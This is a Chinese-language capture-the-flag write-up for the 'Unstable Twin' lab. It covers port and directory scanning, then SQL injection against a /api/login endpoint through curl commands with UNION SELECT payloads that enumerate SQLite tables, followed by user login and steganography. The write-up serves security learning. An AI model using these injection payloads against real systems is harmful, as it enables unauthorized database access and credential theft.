Unstable Twin
端口扫描
root@ip-10-10-80-215:~# nmap -sTCV -p- --min-rate 1000 10.10.150.71
Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-05 06:38 BST
Nmap scan report for ip-10-10-150-71.eu-west-1.compute.internal (10.10.150.71)
Host is up (0.00052s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 ba:a2:40:8e:de:c3:7b:c7:f7:b3:7e:0c:1e:ec:9f:b8 (RSA)
| 256 38:28:4c:e1:4a:75:3d:0d:e7:e4:85:64:38:2a:8e:c7 (ECDSA)
|_ 256 1a:33:a0:ed:83:ba:09:a5:62:a7:df:ab:2f:ee:d0:99 (EdDSA)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 02:49:04:07:5C:FB (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.47 seconds
80
root@ip-10-10-80-215:~# gobuster dir -u http://10.10.150.71/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.150.71/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2023/10/05 06:41:02 Starting gobuster
===============================================================
/info (Status: 200)
===============================================================
2023/10/05 07:30:45 Finished
===============================================================
当我访问 /info 时页面返回一些内容, 其告诉我们存在一个 api 其对应的功能是登陆, 并且也告诉我们其对应的参数以及服务端没有经过测试比较混 乱
因为之前并没有枚举出什么内容所以再次枚举, 我们可以发现一个 api 根据登陆盲猜估计是 /api/login
如果你观察够细致你会发现你没两次请求返回的内容是完全不同的, 请看 Burp 响应, 这说明服务端应该存在某种切换模式一次正常一次异常, 这会带来的影响是我们没有办法基于此来进行 sqlmap 和 目录枚举
访问我们的 /api/login , 使用 POST 请求, 我们可以从两次请求中看出不同, 因为是登陆请求, 所以我们可以尝试 sqli
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=admin' or 1=1 -- -&password=12345" # 使用此我们可以读取数据表的所有内容
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=vincent'UNION SELECT 1,2 -- -&password=12345" # 使用 UNION 联合注入
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=vincent'UNION SELECT 1,sqlite_version() -- -&password=12345" # 使用此确定了 sqlite 的数据库
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=vincent'UNION SELECT 1,name FROM sqlite_master WHERE type='table'-- -&password=12345" # 获取所有数据表名
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=vincent'UNION SELECT 1, group_concat(name, ', ') FROM pragma_table_info('notes') -- -&password=12345" # 使用此来获取指定数据表的数据列名
按照上面的操作, 我们最终:
-
notes : 得到一个密码, 可以解密得到密码
-
users : 获取到所有的用户
后渗透
mary_ann
使用得到的密码进行尝试最终发现是 mary_ann 用户的密码
maty_ann —> end
这道题没有 root 提权, 在用户家目录中有一个文件, 告诉我们找到其全家的用户, 并提醒我们可以根据名字查找, 我第一次没有找到因为没有忽略大小写, 但是我在 opt 目录遍历时, 还是发现了网站的执行文件, 并且发现多个照片, 我感觉存在文件隐写就全部下载到本地
进行逐个尝试最终获取到所有的隐藏内容, (没有密码加密)
阅读后其中 linda.txt 告诉我按照彩虹进行编号, 所以查看隐藏文件后我进行了解密从而获取到了 root flag CyberChef